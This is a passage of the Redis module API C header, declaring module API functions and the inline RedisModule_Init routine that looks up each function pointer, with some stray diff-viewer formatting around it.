int REDISMODULE_API_FUNC(RedisModule_IsKeysPositionRequest)(RedisModuleCtx *ctx);
|
||||||
|
void REDISMODULE_API_FUNC(RedisModule_KeyAtPos)(RedisModuleCtx *ctx, int pos);
|
||||||
|
unsigned long long REDISMODULE_API_FUNC(RedisModule_GetClientId)(RedisModuleCtx *ctx);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_GetContextFlags)(RedisModuleCtx *ctx);
|
||||||
|
void *REDISMODULE_API_FUNC(RedisModule_PoolAlloc)(RedisModuleCtx *ctx, size_t bytes);
|
||||||
|
RedisModuleType *REDISMODULE_API_FUNC(RedisModule_CreateDataType)(RedisModuleCtx *ctx, const char *name, int encver, RedisModuleTypeMethods *typemethods);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_ModuleTypeSetValue)(RedisModuleKey *key, RedisModuleType *mt, void *value);
|
||||||
|
RedisModuleType *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetType)(RedisModuleKey *key);
|
||||||
|
void *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetValue)(RedisModuleKey *key);
|
||||||
|
void REDISMODULE_API_FUNC(RedisModule_SaveUnsigned)(RedisModuleIO *io, uint64_t value);
|
||||||
|
uint64_t REDISMODULE_API_FUNC(RedisModule_LoadUnsigned)(RedisModuleIO *io);
|
||||||
|
void REDISMODULE_API_FUNC(RedisModule_SaveSigned)(RedisModuleIO *io, int64_t value);
|
||||||
|
int64_t REDISMODULE_API_FUNC(RedisModule_LoadSigned)(RedisModuleIO *io);
|
||||||
|
void REDISMODULE_API_FUNC(RedisModule_EmitAOF)(RedisModuleIO *io, const char *cmdname, const char *fmt, ...);
|
||||||
|
void REDISMODULE_API_FUNC(RedisModule_SaveString)(RedisModuleIO *io, RedisModuleString *s);
|
||||||
|
void REDISMODULE_API_FUNC(RedisModule_SaveStringBuffer)(RedisModuleIO *io, const char *str, size_t len);
|
||||||
|
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_LoadString)(RedisModuleIO *io);
|
||||||
|
char *REDISMODULE_API_FUNC(RedisModule_LoadStringBuffer)(RedisModuleIO *io, size_t *lenptr);
|
||||||
|
void REDISMODULE_API_FUNC(RedisModule_SaveDouble)(RedisModuleIO *io, double value);
|
||||||
|
double REDISMODULE_API_FUNC(RedisModule_LoadDouble)(RedisModuleIO *io);
|
||||||
|
void REDISMODULE_API_FUNC(RedisModule_SaveFloat)(RedisModuleIO *io, float value);
|
||||||
|
float REDISMODULE_API_FUNC(RedisModule_LoadFloat)(RedisModuleIO *io);
|
||||||
|
void REDISMODULE_API_FUNC(RedisModule_Log)(RedisModuleCtx *ctx, const char *level, const char *fmt, ...);
|
||||||
|
void REDISMODULE_API_FUNC(RedisModule_LogIOError)(RedisModuleIO *io, const char *levelstr, const char *fmt, ...);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_StringAppendBuffer)(RedisModuleCtx *ctx, RedisModuleString *str, const char *buf, size_t len);
|
||||||
|
void REDISMODULE_API_FUNC(RedisModule_RetainString)(RedisModuleCtx *ctx, RedisModuleString *str);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_StringCompare)(RedisModuleString *a, RedisModuleString *b);
|
||||||
|
RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetContextFromIO)(RedisModuleIO *io);
|
||||||
|
long long REDISMODULE_API_FUNC(RedisModule_Milliseconds)(void);
|
||||||
|
void REDISMODULE_API_FUNC(RedisModule_DigestAddStringBuffer)(RedisModuleDigest *md, unsigned char *ele, size_t len);
|
||||||
|
void REDISMODULE_API_FUNC(RedisModule_DigestAddLongLong)(RedisModuleDigest *md, long long ele);
|
||||||
|
void REDISMODULE_API_FUNC(RedisModule_DigestEndSequence)(RedisModuleDigest *md);
|
||||||
|
|
||||||
|
/* Experimental APIs */
|
||||||
|
#ifdef REDISMODULE_EXPERIMENTAL_API
|
||||||
|
RedisModuleBlockedClient *REDISMODULE_API_FUNC(RedisModule_BlockClient)(RedisModuleCtx *ctx, RedisModuleCmdFunc reply_callback, RedisModuleCmdFunc timeout_callback, void (*free_privdata)(void*), long long timeout_ms);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_UnblockClient)(RedisModuleBlockedClient *bc, void *privdata);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_IsBlockedReplyRequest)(RedisModuleCtx *ctx);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_IsBlockedTimeoutRequest)(RedisModuleCtx *ctx);
|
||||||
|
void *REDISMODULE_API_FUNC(RedisModule_GetBlockedClientPrivateData)(RedisModuleCtx *ctx);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_AbortBlock)(RedisModuleBlockedClient *bc);
|
||||||
|
RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetThreadSafeContext)(RedisModuleBlockedClient *bc);
|
||||||
|
void REDISMODULE_API_FUNC(RedisModule_FreeThreadSafeContext)(RedisModuleCtx *ctx);
|
||||||
|
void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextLock)(RedisModuleCtx *ctx);
|
||||||
|
void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextUnlock)(RedisModuleCtx *ctx);
|
||||||
|
int REDISMODULE_API_FUNC(RedisModule_SubscribeToKeyspaceEvents)(RedisModuleCtx *ctx, int types, RedisModuleNotificationFunc cb);
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* This is included inline inside each Redis module. */
|
||||||
|
static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) __attribute__((unused));
|
||||||
|
static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) {
|
||||||
|
void *getapifuncptr = ((void**)ctx)[0];
|
||||||
|
RedisModule_GetApi = (int (*)(const char *, void *)) (unsigned long)getapifuncptr;
|
||||||
|
REDISMODULE_GET_API(Alloc);
|
||||||
|
REDISMODULE_GET_API(Calloc);
|
||||||
|
REDISMODULE_GET_API(Free);
|
||||||
|
REDISMODULE_GET_API(Realloc);
|
||||||
|
REDISMODULE_GET_API(Strdup);
|
||||||
|
REDISMODULE_GET_API(CreateCommand);
|
||||||
|
REDISMODULE_GET_API(SetModuleAttribs);
|
||||||
|
REDISMODULE_GET_API(IsModuleNameBusy);
|
||||||
|
REDISMODULE_GET_API(WrongArity);
|
||||||
|
REDISMODULE_GET_API(ReplyWithLongLong);
|
||||||
|
REDISMODULE_GET_API(ReplyWithError);
|
||||||
|
REDISMODULE_GET_API(ReplyWithSimpleString);
|
||||||
|
REDISMODULE_GET_API(ReplyWithArray);
|
||||||
|
REDISMODULE_GET_API(ReplySetArrayLength);
|
||||||
|
REDISMODULE_GET_API(ReplyWithStringBuffer);
|
||||||
|
REDISMODULE_GET_API(ReplyWithString);
|
||||||
|
REDISMODULE_GET_API(ReplyWithNull);
|
||||||
|
REDISMODULE_GET_API(ReplyWithCallReply);
|
||||||
|
REDISMODULE_GET_API(ReplyWithDouble);
|
||||||
|
REDISMODULE_GET_API(ReplySetArrayLength);
|
||||||
|
REDISMODULE_GET_API(GetSelectedDb);
|
||||||
|
REDISMODULE_GET_API(SelectDb);
|
||||||
|
REDISMODULE_GET_API(OpenKey);
|
||||||
|
REDISMODULE_GET_API(CloseKey);
|
||||||
|
REDISMODULE_GET_API(KeyType);
|
||||||
|
REDISMODULE_GET_API(ValueLength);
|
||||||
|
REDISMODULE_GET_API(ListPush);
|
||||||
|
REDISMODULE_GET_API(ListPop);
|
||||||
|
REDISMODULE_GET_API(StringToLongLong);
|
||||||
|
REDISMODULE_GET_API(StringToDouble);
|
||||||
|
REDISMODULE_GET_API(Call);
|
||||||
|
REDISMODULE_GET_API(CallReplyProto);
|
||||||
|
REDISMODULE_GET_API(FreeCallReply);
|
||||||
|
REDISMODULE_GET_API(CallReplyInteger);
|
||||||
|
REDISMODULE_GET_API(CallReplyType);
|
||||||
|
REDISMODULE_GET_API(CallReplyLength);
|
||||||
|
REDISMODULE_GET_API(CallReplyArrayElement);
|
||||||
|
REDISMODULE_GET_API(CallReplyStringPtr);
|
||||||
|
REDISMODULE_GET_API(CreateStringFromCallReply);
|
||||||
|
REDISMODULE_GET_API(CreateString);
|
||||||
|
REDISMODULE_GET_API(CreateStringFromLongLong);
|
||||||
|
REDISMODULE_GET_API(CreateStringFromString);
|
||||||
|
REDISMODULE_GET_API(CreateStringPrintf);
|
||||||
|
REDISMODULE_GET_API(FreeString);
|
||||||
|
REDISMODULE_GET_API(StringPtrLen);
|
||||||
|
REDISMODULE_GET_API(AutoMemory);
|
||||||
|
REDISMODULE_GET_API(Replicate);
|
||||||
|
REDISMODULE_GET_API(ReplicateVerbatim);
|
||||||
|
REDISMODULE_GET_API(DeleteKey);
|
||||||
|
REDISMODULE_GET_API(UnlinkKey);
|
||||||
|
REDISMODULE_GET_API(StringSet);
|
||||||
|
REDISMODULE_GET_API(StringDMA);
|
||||||
|
REDISMODULE_GET_API(StringTruncate);
|
||||||
|
REDISMODULE_GET_API(GetExpire);
|
||||||
|
REDISMODULE_GET_API(SetExpire);
|
||||||
|
REDISMODULE_GET_API(ZsetAdd);
|
||||||
|
REDISMODULE_GET_API(ZsetIncrby);
|
||||||
|
REDISMODULE_GET_API(ZsetScore);
|
||||||
|
REDISMODULE_GET_API(ZsetRem);
|
||||||
|
REDISMODULE_GET_API(ZsetRangeStop);
|
||||||
|
REDISMODULE_GET_API(ZsetFirstInScoreRange);
|
||||||
|
REDISMODULE_GET_API(ZsetLastInScoreRange);
|
||||||
|
REDISMODULE_GET_API(ZsetFirstInLexRange);
|
||||||
|
REDISMODULE_GET_API(ZsetLastInLexRange);
|
||||||
|
REDISMODULE_GET_API(ZsetRangeCurrentElement);
|
||||||
|
REDISMODULE_GET_API(ZsetRangeNext);
|
||||||
|
REDISMODULE_GET_API(ZsetRangePrev);
|
||||||
|
REDISMODULE_GET_API(ZsetRangeEndReached);
|
||||||
|
REDISMODULE_GET_API(HashSet);
|
||||||
|
REDISMODULE_GET_API(HashGet);
|
||||||
|
REDISMODULE_GET_API(IsKeysPositionRequest);
|
||||||
|
REDISMODULE_GET_API(KeyAtPos);
|
||||||
|
REDISMODULE_GET_API(GetClientId);
|
||||||
|
REDISMODULE_GET_API(GetContextFlags);
|
||||||
|
REDISMODULE_GET_API(PoolAlloc);
|
||||||
|
REDISMODULE_GET_API(CreateDataType);
|
||||||
|
REDISMODULE_GET_API(ModuleTypeSetValue);
|
||||||
|
REDISMODULE_GET_API(ModuleTypeGetType);
|
||||||
|
REDISMODULE_GET_API(ModuleTypeGetValue);
|
||||||
|
REDISMODULE_GET_API(SaveUnsigned);
|
||||||
|
REDISMODULE_GET_API(LoadUnsigned);
|
||||||
|
REDISMODULE_GET_API(SaveSigned);
|
||||||
|
REDISMODULE_GET_API(LoadSigned);
|
||||||
|
REDISMODULE_GET_API(SaveString);
|
||||||
|
REDISMODULE_GET_API(SaveStringBuffer);
|
||||||
|
REDISMODULE_GET_API(LoadString);
|
||||||
|
REDISMODULE_GET_API(LoadStringBuffer);
|
||||||
|
REDISMODULE_GET_API(SaveDouble);
|
||||||
|
REDISMODULE_GET_API(LoadDouble);
|
||||||
|
REDISMODULE_GET_API(SaveFloat);
|
||||||
|
REDISMODULE_GET_API(LoadFloat);
|
||||||
|
REDISMODULE_GET_API(EmitAOF);
|
||||||
|
REDISMODULE_GET_API(Log);
|
||||||
|
REDISMODULE_GET_API(LogIOError);
|
||||||
|
REDISMODULE_GET_API(StringAppendBuffer);
|
||||||
|
REDISMODULE_GET_API(RetainString);
|
||||||
|
REDISMODULE_GET_API(StringCompare);
|
||||||
|
REDISMODULE_GET_API(GetContextFromIO);
|
||||||
|
REDISMODULE_GET_API(Milliseconds);
|
||||||
|
REDISMODULE_GET_API(DigestAddStringBuffer);
|
||||||
|
REDISMODULE_GET_API(DigestAddLongLong);
|
||||||
|
REDISMODULE_GET_API(DigestEndSequence);
|
||||||
|
|
||||||
|
#ifdef REDISMODULE_EXPERIMENTAL_API
|
||||||
|
REDISMODULE_GET_API(GetThreadSafeContext);
|
||||||
|
REDISMODULE_GET_API(FreeThreadSafeContext);
|
||||||
|
REDISMODULE_GET_API(ThreadSafeContextLock);
|
||||||
|
REDISMODULE_GET_API(ThreadSafeContextUnlock);
|
||||||
|
REDISMODULE_GET_API(BlockClient);
|
||||||
|
REDISMODULE_GET_API(UnblockClient);
|
||||||
|
REDISMODULE_GET_API(IsBlockedReplyRequest);
|
||||||
|
REDISMODULE_GET_API(IsBlockedTimeoutRequest);
|
||||||
|
REDISMODULE_GET_API(GetBlockedClientPrivateData);
|
||||||
|
REDISMODULE_GET_API(AbortBlock);
|
||||||
|
REDISMODULE_GET_API(SubscribeToKeyspaceEvents);
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
if (RedisModule_IsModuleNameBusy && RedisModule_IsModuleNameBusy(name)) return REDISMODULE_ERR;
|
||||||
|
RedisModule_SetModuleAttribs(ctx,name,ver,apiver);
|
||||||
|
return REDISMODULE_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
#else
|
||||||
|
|
||||||
|
/* Things only defined for the modules core, not exported to modules
|
||||||
|
* including this file. */
|
||||||
|
#define RedisModuleString robj
|
||||||
|
|
||||||
|
#endif /* REDISMODULE_CORE */
|
||||||
|
#endif /* REDISMOUDLE_H */
|
||||||
Loading…
Add table
Add a link
Reference in a new issue